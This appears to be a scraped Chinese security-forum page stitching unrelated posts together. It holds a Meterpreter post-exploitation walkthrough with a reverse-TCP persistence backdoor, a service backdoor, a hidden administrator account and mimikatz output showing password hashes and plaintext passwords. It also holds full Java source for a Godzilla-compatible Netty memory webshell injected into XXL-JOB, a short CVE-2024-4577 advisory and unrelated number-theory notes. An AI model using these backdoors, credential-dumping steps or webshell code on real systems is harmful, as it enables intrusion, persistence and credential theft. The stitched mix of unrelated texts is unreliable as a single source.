svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 2332 2044 file.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersAdministratorDesktopfile.exe 2428 492 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe 2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe 2972 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe meterpreter > migrate 2044 //迁移到PID为2044的explorer进程 [*] Migrating from 2332 to 2044... [*] Migration completed successfully. meterpreter > meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System x86_64 0 244 4 smss.exe x86_64 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 264 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 336 328 csrss.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\csrss.exe 388 380 csrss.exe x86_64 1 NT AUTHORITYSYSTEM C:\Windows\system32\csrss.exe 396 328 wininit.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\wininit.exe 432 380 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:\Windows\system32\winlogon.exe 492 396 services.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\services.exe 500 396 lsass.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\lsass.exe 512 396 lsm.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\lsm.exe 596 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 656 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe 748 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 796 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 840 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 856 388 conhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\conhost.exe 860 2044 cmd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\cmd.exe 884 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 924 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe 972 492 sppsvc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\sppsvc.exe 976 492 spoolsv.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\spoolsv.exe 1056 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 1092 492 vmtoolsd.exe x86_64 0 NT AUTHORITYSYSTEM C:\Program Files\VMware\VMware Toolsvmtoolsd.exe 1332 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe 1492 2044 vmtoolsd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Program Files\VMware\VMware Toolsvmtoolsd.exe 1560 492 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\dllhost.exe 1640 492 msdtc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\msdtc.exe 1968 492 taskhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\taskhost.exe 2024 884 dwm.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\Dwm.exe 2044 2016 explorer.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\Explorer.EXE 2312 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 2428 492 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\Microsoft.NETFramework64v2.0.50727\mscorsvw.exe 2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:\Windows\Microsoft.NETFrameworkv2.0.50727\mscorsvw.exe 2972 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 如上所示file.exe进程已经没了。需要注意的是如果存在杀软的话可能会阻止进程注入 (3).测试是不是虚拟机 meterpreter > run post/windows/gather/checkvm [*] Checking if WIN-K30V5SI0PCE is a Virtual Machine ..... [*] This is a VMware Virtual Machine 我的2008是装在VMWare上的 (4).安装后门 方法一:persistence方法 meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host. OPTIONS: -A Automatically start a matching multi/handler to connect to the agent -L <opt> Location in target host where to write payload to, if none %TEMP% willbe used. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back 执行: meterpreter > run persistence -X -i 10 -p 2241 -r 192.168.111.129 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-K30V5SI0PCE_20140313.5419/WIN-K30V5SI0PCE_20140313.5419.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2241 [*] Persistent agent script is 148439 bytes long [+] Persistent Script written to C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs [*] Executing script C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs [+] Agent executed with PID 2916 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ [+] Installed into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ 现在退出服务器,重新配置监听器 msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.111.129 msf exploit(handler) > set LPORT 2241 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.111.129:2241 [*] Starting the payload handler... [*] Sending stage (769024 bytes) to 192.168.111.133 [*] Meterpreter session 1 opened (192.168.111.129:2241 -> 192.168.111.133:49159) at2014-03-13 23:01:55 +0800 如图,反弹成功,这个被动型的后门在某些特殊的场合会是个不错的选择 方法二:metsvc meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\ADMINI~1\AppData\LocalTemp\HzWbqqRpuBlxn... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed. metsvc后门安装成功,接下来是连接 root@Kali:~# msfconsole , , / ((__---,,,---__)) (_) O O (_)_________ _ / | o_o M S F | _____ | * ||| WW||| ||| ||| Using notepad to track pentests? Have Metasploit Pro report on hosts, services, sessions and evidence -- type 'go_pro' to launch it now. =[ metasploit v4.8.1-2013120401 [core:4.8 api:1.0] + -- --=[ 1239 exploits - 755 auxiliary - 207 post + -- --=[ 324 payloads - 31 encoders - 8 nops msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/metsvc_bind_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/metsvc_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set RHOST 192.168.111.133 msf exploit(handler) > set LPORT 31337 msf exploit(handler) > exploit [*] Started bind handler [*] Starting the payload handler... [*] Meterpreter session 1 opened (192.168.111.129:49313 -> 192.168.111.133:31337) at2014-03-13 23:12:54 +0800 meterpreter > 方法三:这个是类似于添加账户3389远程连接 meterpreter > run getgui -u zero -p haizeiwang123_ [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez [email protected] [*] Setting user account for logon [*] Adding User: zero with Password: haizeiwang123_ [*] Hiding user from Windows Login screen [*] Adding User: zero to local group 'Remote Desktop Users' [*] Adding User: zero to local group 'Administrators' [*] You can now login with the created user [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20140314.4134.rc meterpreter > (5).端口转发 主机处于内网也是比较常见的,metasploit自带了一个端口转发工具 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> The local host to listen on (optional). -h Help banner. -l <opt> The local port to listen on. -p <opt> The remote port to connect to. -r <opt> The remote host to connect to. meterpreter > portfwd add -L 1234 -p 3389 -r 192.168.111.133 [-] You must supply a local port, remote host, and remote port. meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.111.133 [*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.111.133:3389 meterpreter > 接下来运行 rdesktop -u zero -p haizeiwang123_ 127.0.0.1:1234 (6).获取密码 法国神器mimikatz可以直接获得操作系统的明文密码,meterpreter添加了这个模块 首先加载mimikatz模块 由于我的Windows 2008是64位的,所以先要转移到64位进程 meterpreter > ps ...... 2000 472 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe 2264 1832 explorer.exe x86_64 2 WIN-K30V5SI0PCEzero C:Windowsexplorer.exe 2292 2264 vmtoolsd.exe x86_64 2 WIN-K30V5SI0PCEzero C:Program FilesVMwareVMware Toolsvmtoolsd.exe 2520 372 FfBoPtYGlNj.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersADMINI~1AppDataLocalTemp1rad87A98.tmpFfBoPtYGlNj.exe 2780 2256 winlogon.exe x86_64 2 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe 3028 880 dwm.exe x86_64 2 WIN-K30V5SI0PCEzero C:WindowsSystem32dwm.exe meterpreter > migrate 2780 [*] Removing existing TCP relays... [*] Successfully stopped TCP relay on 0.0.0.0:1234 [*] 1 TCP relay(s) removed. [*] Migrating from 1428 to 2264... [*] Migration completed successfully. [*] Recreating TCP relay(s)... [*] Local TCP relay recreated: 0.0.0.0:1234 <-> 192.168.111.133:3389 meterpreter > load mimikatz Loading extension mimikatz...success. meterpreter > 获取密码哈希: meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;339062 NTLM WIN-K30V5SI0PCE Administrator lm{ 179b3f1af1324ade301c14040883a0d8 }, ntlm{ 358c0a328bdf6b42185ca0a1773fb0be } 0;593431 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e26298911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad } 0;593459 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e26298911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad } 0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO) 0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO) 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;47971 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO) 获取明文密码 meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$ 0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$ 0;47971 NTLM 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;995 Negotiate NT AUTHORITY IUSR 0;339062 NTLM WIN-K30V5SI0PCE Administrator ceshimima123_ 0;593459 NTLM WIN-K30V5SI0PCE zero haizeiwang123_ 0;593431 NTLM WIN-K30V5SI0PCE zero haizeiwang123_
  5. 0x01 前言 基于netty动态创建pipeline的特性,其内存马的构造思路与tomcat有一定的区别,目前网上有关netty内存马的文章都围绕CVE-2022-22947和XXL-JOB两种场景展开,并未对其做更为详细的分析。本文就以上述两种场景为始,尝试从源码角度探究netty内存马的部分细节,以供大家参考。 0x02 Netty介绍 I/O事件:分为出站和入站两种事件,不同的事件会触发不同种类的handler。 Handler (ChannelHandler):handler用于处理I/O事件,继承如下几种接口,并重写channelRead方法完成请求的处理,功能类似于filter。 ChannelInboundHandlerAdapter 入站I/O事件触发该 handlerChannelOutboundHandlerAdapter 出站I/O事件触发该 handlerChannelDuplexHandler 入站和出站事件均会触发该handlerChannel (SocketChannel):可以理解为对 Socket 的封装, 提供了 Socket 状态、读写等操作,每当 Netty 建立了一个连接后,都会创建一个对应的 Channel 实例,同时还会初始化和 Channel 所对应的 pipeline。 Pipeline (ChannelPipeline):由多个handler所构成的双向链表,并提供如addFirst、addLast等方法添加handler。需要注意的是,每次有新请求入站时,都会创建一个与之对应的channel,同时channel会在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)里创建一个与之对应的pipeline。 构造netty内存马的一个思路,就是在pipeline中插入我们自定义的handler,同时,由于pipeline动态创建的特性,如何保证handler的持久化才是关键,本文以此为出发点,尝试探究netty内存马在不同场景下的利用原理。 0x03 CVE-2022-22947 先来简单回顾一下CVE-2022-22947是如何注入内存马的,文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit,在reactor.netty中,channel的初始化位于reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。 关键点如下: config.defaultOnChannelInit()返回一个默认的ChannelPipelineConfigurer,随后调用then方法,进入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer,从函数名也能够看出,这个方法用于合并对象,将当前默认的ChannelPipelineConfigurer与config.doOnChannelInit合二为一,返回一个CompositeChannelPipelineConfigurer。 随后调用CompositeChannelPipelineConfigurer#onChannelInit,在此处循环调用configurer#onChannelInit,其中就包括我们反射传入的doOnChannelInit#onChannelInit。 c0ny1师傅给出的案例,就在onChannelInit内完成handler的添加,由于反射修改了doOnChannelInit,后续有新的请求入站,都会重复上述流程,进而完成handler的持久化。 public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) { ChannelPipeline pipeline = channel.pipeline(); pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell()); }另外,从reactor.netty.transport.TransportConfig#doOnChannelInit的路径也能看出,该场景依赖 reactor.netty,并不适用纯io.netty的环境,如xxl-job等场景。 0x04 XXL-JOB 对于纯粹的io.netty环境,在XXL-JOB内存马中给出的答案是定制化内存马,核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的实现,由于每次请求都会触发ServerBootstrap初始化流程,随即进入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));,而EmbedServer中的executorBiz在仅在启动时触发实例化,在整个应用程序的生命周期中都不变,使用动态类加载替换其实现,就能完成内存马的持久化。 在文章开头,作者也曾尝试反射调用pipeline.addBefore,依然是上面所提到的问题,不过很容易发现,通过ServerBootstrap所添加的EmbedHttpServerHandler能够常驻内存,如果我们想要利用这一特性,还需进一步分析io.netty.bootstrap.ServerBootstrap的初始化过程。 0x05 ServerBootstrap 限于篇幅,这里仅截取关键代码,直接定位到pipeline创建完成之后的片段,首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一个ServerBootstrapAcceptor,需要注意一下这里的childHandler,这也是一种持久化的思路,后续会继续提到。 此时pipeline在内存中的情况如下,可以看到已经添加了ServerBootstrapAcceptor。 netty介绍部分提及过handler的channelRead方法用于处理请求,因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的实现,这里ServerBootstrapAcceptor把之前传入的childHandler添加到pipeline中。 childHandler由开发者所定义,通常会使用如下范式定义ServerBootStrap,也就是添加客户端连接时所需要的handler。 ServerBootstrap bootstrap = new ServerBootstrap();bootstrap.group(bossGroup, workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer @Override public void initChannel(SocketChannel channel) throws Exception { channel.pipeline() .addLast(...) .addLast(...); } })由开发者所定义的ChannelInitializer最终会走到ChannelInitializer#initChannel进行初始化,调用栈如下: 总结一下该流程,每次请求都将触发一次ServerBootstrap初始化,随即pipeline根据现有的ChannelInitializer#initChannel添加其他handler,若能根据这一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化这一目标。 0x06 内存马实现 在探究netty的过程中,发现这样一篇文章: xxl-job利用研究,作者给出的EXP已经很接近完整版了,在文章的最后抛出两个问题,一是"注册的handler必须加上@ChannelHandler.Sharable标签,否则会执行器会报错崩溃",二是"坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器"。 这两个问题很容易解决: 1、对于需要加入@ChannelHandler.Sharable这点而言,实测是不需要的,由于我们自定义的handler是通过new的方式创建的,理论上来讲就是unSharable的。 2、反射修改ChannelInitializer导致执行器失效的问题,只需要给bootstrap添加一个EmbedHttpServerHandler就能保留其原有功能。 setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer @Override public void initChannel(SocketChannel channel) throws Exception { channel.pipeline() .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle .addLast(new HttpServerCodec()) .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL .addLast(new NettyThreadHandler()) .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor( 0, 200, 60L, TimeUnit.SECONDS, new LinkedBlockingQueue new ThreadFactory() { @Override public Thread newThread(Runnable r) { return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()); } }, new RejectedExecutionHandler() { @Override public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) { throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!"); } }))); }});实战中的利用还需兼容webshell管理工具,对于CVE-2022-22947而言,已有哥斯拉的马作为参考,可直接在NettyMemshell基础上稍作修改,需要注意的是,马子里的channelRead方法不能直接使用,问题出在条件判断处,msg很有可能即实现了HttpRequest,也实现了HttpContent,因此走不到else中的逻辑,修改方式也很简单,去掉else即可。 目前实测下来,姑且认为不影响正常的功能,pipeline在内存中的情况如下: package com.xxl.job.service.handler; import com.xxl.job.core.biz.impl.ExecutorBizImpl;import com.xxl.job.core.server.EmbedServer;import io.netty.buffer.ByteBuf;import io.netty.buffer.Unpooled;import io.netty.channel.*;import io.netty.channel.socket.SocketChannel;import io.netty.handler.codec.http.*;import io.netty.handler.timeout.IdleStateHandler;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.AbstractMap;import java.util.HashSet;import java.util.concurrent.*; import com.xxl.job.core.log.XxlJobLogger;import com.xxl.job.core.biz.model.ReturnT;import com.xxl.job.core.handler.IJobHandler; public class DemoGlueJobHandler extends IJobHandler { public static class NettyThreadHandler extends ChannelDuplexHandler{ String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc); String result = ""; private static ThreadLocal<AbstractMap.SimpleEntry private static Class payload; private static Class defClass(byte[] classbytes)throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length); } public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch(Exception e) { return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch(Exception e) {} return ret; } @Override // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑 public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { if(((HttpRequest)msg).uri().contains("netty_memshell")) { if (msg instanceof HttpRequest){ HttpRequest httpRequest = (HttpRequest) msg; AbstractMap.SimpleEntry requestThreadLocal.set(simpleEntry); } if(msg instanceof HttpContent){ HttpContent httpContent = (HttpContent)msg; AbstractMap.SimpleEntry if (simpleEntry == null){ return; } HttpRequest httpRequest = simpleEntry.getKey(); ByteArrayOutputStream contentBuf = simpleEntry.getValue(); ByteBuf byteBuf = httpContent.content(); int size = byteBuf.capacity(); byte[] requestContent = new byte[size]; byteBuf.getBytes(0,requestContent,0,requestContent.length); contentBuf.write(requestContent); if (httpContent instanceof LastHttpContent){ try { byte[] data = x(contentBuf.toByteArray(), false); if (payload == null) { payload = defClass(data); send(ctx,x(new byte[0], true),HttpResponseStatus.OK); } else { Object f = payload.newInstance(); //初始化内存流 java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); //将内存流传递给哥斯拉的payload f.equals(arrOut); //将解密后的数据传递给哥斯拉Payload f.equals(data); //通知哥斯拉Payload执行shell逻辑 f.toString(); //调用arrOut.toByteArray()获取哥斯拉Payload的输出 send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK); } } catch(Exception e) { ctx.fireChannelRead(httpRequest); } }else { ctx.fireChannelRead(msg); } } } else { ctx.fireChannelRead(msg); } } private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) { FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context)); response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } } public ReturnT{ try{ ThreadGroup group = Thread.currentThread().getThreadGroup(); Field threads = group.getClass().getDeclaredField("threads"); threads.setAccessible(true); Thread[] allThreads = (Thread[]) threads.get(group); for (Thread thread : allThreads) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) { try { Object target; try { target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor"); } catch (Exception e) { continue; } // NioEventLoop if (target.getClass().getName().endsWith("NioEventLoop")) { XxlJobLogger.log("NioEventLoop find"); HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); if (!set.isEmpty()) { Object keys = set.toArray()[0]; Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");// ThreadPoolExecutor bizThreadPool2 = (ThreadPoolExecutor) getFieldValue(embedHttpServerHandler, "bizThreadPool"); // 设置初始化 setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer @Override public void initChannel(SocketChannel channel) throws Exception { channel.pipeline() .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle .addLast(new HttpServerCodec()) .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL .addLast(new NettyThreadHandler()) .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor( 0, 200, 60L, TimeUnit.SECONDS, new LinkedBlockingQueue new ThreadFactory() { @Override public Thread newThread(Runnable r) { return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()); } }, new RejectedExecutionHandler() { @Override public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) { throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!"); } }))); } }); XxlJobLogger.log("success!"); break; } } } catch (Exception e){ XxlJobLogger.log(e.toString()); } } } }catch (Exception e){ XxlJobLogger.log(e.toString()); } return ReturnT.SUCCESS; } public Field getField(final Class { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null){ field = getField(clazz.getSuperclass(), fieldName); } } return field; } public Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } } 原文链接
  6. 漏洞概述 PHP是一种被广泛应用的开放源代码的多用途脚本语言,PHP-CGI是PHP自带的FastCGI管理器。是一个实现了CGI协议的程序,用来解释PHP脚本的程序,2024年6 月7日,推特安全上orange公开了其漏洞细节,并且PHP官方已修复该漏洞。并确认该漏洞在为远程代码执行漏洞,并将其分配编号为 CVE-2024-4577。 XAMPP(Apache+MySQL+PHP+PERL)就是一个功能强大的建站集成软件包,该漏洞在XAMPP开启了PHP-CGI模式下运行时可造成远程代码执行,攻击者可通过该漏洞获取服务器权限。 该漏洞仅适用于php版本为8.1 < 8.1.29,PHP 8.2 < 8.2.20,PHP 8.3 < 8.3.8,同时在php-cgi模式下运行php,并且运行在windows平台,且使用语系为繁体中文950、日文932、简体中文936等。 漏洞复现 DayDayPoc链接(poc&exp): https://www.ddpoc.com/DVB-2024-7248.html 漏洞影响范围 DayDayMap(www.daydaymap.com)查询语法:app="XAMPP" || web.icon="56f7c04657931f2d0b79371b2d6e9820"解决方案 目前该漏洞利用详情已公开,且漏洞影响范围较大,建议客户尽快做好自查及防护。 PHP官方已发布修复方案,受影响的用户建议更新至安全版本。 https://www.php.net/downloads.php 参考链接 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4577 https://github.com/TAM-K592/CVE-2024-4577 https://www.ddpoc.com/DVB-2024-7248.html 原文链接
  7. 1-1整数 0不是自然数 整除性 定理:设a,b是正整数,则b|a且a|b,当且仅当a=正负b.特别地,a|1当且仅当a=正负1. 证明一下个个位数之和是3的倍数,整齐也是三的倍数: 1-2 素数 (该定义可拓展到负整数,但在本文中仅指正整数) 定义:设n为整数,n>=2,除了1和n以外,没有其他正整数整除n,n称作”素数”(通常用p表示);否则,n称为”合数”. PS:1既不是素数已不是合数 PS:n为合数,则n=ab,其中1<a<n,1<b<n 引理2-1:任何大于1的整数必有素因子. 定理2-1:任何合数n都至少有一个不超过根号n的素因子.(n>1是合数,则存在素数p,使得p<=根号n) 定理2-2:任何非零整数n,可以表示成如下的乘积形式: n=p1^k1p2^k2p3^k3…pn^kn (p1…pn是互不相同的素数,k1..kn是正整数). 欧几里得定理2-3:素数有无穷个 1-3模运算 a mod b:设a,b属于整数,且b>0,如果q,r是整数,满足a=qb+r,且0<=r<b,则定义:a mod b:=r 负数如何求模? 让负数一直加上模数直到为非负数 模运算的性质 b|a <=> a mod b=0 (a + b) % p = (a % p + b % p) % p (a - b) % p = (a % p - b % p) % p (a * b) % p = (a % p * b % p) % p ~~除法没有~~ a ^ b % p = ((a % p) ^ b) % p 1-4最大公约数 设a,b是整数,如果d是整数且d|a,d|b,则称d是a和b的公因子(公约数) 如果d>=0,且a和b的所有公因子都整除d,则称d是a和b的最大公约数,记作gcd(a,b). PS:公因子可以是任意整数(包含0,负数) PS:最大公约数只能是0或正整数,不能是负的 欧几里得算法 设a>=b>=0,求gcd(a,b) 数学原理: b=0时,gcd(a,0)=a #任何整数都是0的公因子 b>0时,gcd(a,b)=gcd(b,r) #a=qb+r,如果d时b和r的因子a=qpd+kd =>gcd(rn,0)=rn 1-5扩展欧几里得算法 定理5-1:设a,b属于整数,d=gcd(a,b),则存在s,t属于整数,使得as+bt=d 特别的:gcd(a,b)=1<=>as+bt=1 推论:d|v<=>as+bt=v 扩展的欧几里得算法:(又译作”广义欧几里得算法”) 用途:计算as+bt=gcd(a,b)中的 s和t 裴蜀定理:若a,b是整数,且 gcd (a,b)=d,那么对于任意的整数x,y,ax+by都一定是d的倍数,特别地,一定存在整数x,y,使ax+by=d成立 注意:此处的x和y是整数(即可以是负数) 例如5=gcd(20,15) 5 = 20*(-1) + 15*1 例如1=gcd(3,4) 1 = 3*1 + 4*(-1) 1-6最小公倍数 设a,b属于Z,如果m属于Z,分别是a和b的倍数,m称作a和b的公倍数. lcm(a,b):a和b的最小公倍数 a,b不等于0:m是a和b所有正的公倍数中最小,m叫作a和b的最小公倍数 如果a,b有一个是0,那么他俩的最小公倍数就是0 1-7证明算术基本定理 等价关系 有时也用~表示集合上的等价关系 否定例子: 同余 定义(同余关系):设a,b,n是整数,n>0,如果n|(a-b),就称a和b在模n下同余,记作a≡b(mod n) 性质:a≡b(mod n)<=> a=qn+b,存在q属于Z 乘法逆元 倒数:两个数的乘积为1 你可能很疑惑为什么会把小数变成一个整数: 首先同模是由等价性的,所以 7/2 mod 5 =(7/2)*1 mod 5 又因为:2 x 3 mod 5 =1 所以(7/2)*1 mod 5= (7/2)*(2*3)mod 5=1 二分之一mod 7 = 4 注意1:模n下互为乘法逆元,一般只考虑比n小的 比如:模5下,2的乘法逆元是3,而不考虑8 注意2:a在模n内的乘法逆元是唯一的 注意3:乘法逆元存在的条件: gcd(a,n)=1 <=>模n下,a有乘法逆元 一次同余逆元 2x ≡ 3 (mod 6) 因为2无法消除所以这个题无解 一次同余方程 有解的条件 若gcd(a,n)=d,则 ax≡b(mod n)有解 <=> d|b 为什么同模的两个数能同时除一个于n互质的数呢: 首先,我们想要除的这个数与n互质,由逆元,一个数的乘法逆元为分数 那么我们把两边同时称一个要出的这个数的倒数的乘法逆元, 